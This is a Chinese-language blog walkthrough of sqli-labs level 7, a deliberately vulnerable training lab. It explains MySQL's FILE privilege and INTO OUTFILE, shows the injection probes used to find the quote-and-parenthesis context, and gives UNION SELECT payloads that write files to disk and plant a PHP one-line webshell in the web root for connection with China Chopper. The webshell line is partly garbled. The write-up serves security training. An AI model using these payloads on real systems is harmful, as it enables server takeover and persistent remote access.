2020.4.2 sqli-labs--第7关①

1.这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限。
into outfile命令:select into outfile命令作用将查询结果输出保存到一个文件中
使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

2.我们正常输入?id=1页面回显如下
2020.4.2 sqli-labs--第7关①_第1张图片3.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
2020.4.2 sqli-labs--第7关①_第2张图片4.当我们输入?id=1’页面报错,说明可能存在"注入
2020.4.2 sqli-labs--第7关①_第3张图片5.当我们输入?id=1’ --+页面显示依然不正常
2020.4.2 sqli-labs--第7关①_第4张图片6.接着我们尝试?id=1’) --+,页面依然显示不正常,有点难受,不过没关系
2020.4.2 sqli-labs--第7关①_第5张图片7.我们可以接着输入?id=5’)) --+尝试,发现页面回显正常
2020.4.2 sqli-labs--第7关①_第6张图片由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好

C:\phpStudy\PHPTutorial\MySQL\data2020.4.2 sqli-labs--第7关①_第7张图片然后使用

union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 

尝试写入文件。
然后去本机文件夹下查看文件是否写入成功。
2020.4.2 sqli-labs--第7关①_第8张图片写入成功了,但是文件名变成了如图红色表示的那样!!
接着我进行了好多次尝试,最后被同学告知,需要使用\来代替目录中的\ ,具体原因我也不知道,后续会补上。 命令如下:

union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"

2020.4.2 sqli-labs--第7关①_第9张图片
文件导入成功!,接着我们查看chao.php的内容
2020.4.2 sqli-labs--第7关①_第10张图片要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php

我们再尝试上传一句话木马,具体命令

?id=-1'))  union select 1,"chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\hello.php" --+

接着试着访问一下这个文件
2020.4.2 sqli-labs--第7关①_第11张图片
上传成功,使用菜刀链接下
2020.4.2 sqli-labs--第7关①_第12张图片

你可能感兴趣的:(web安全)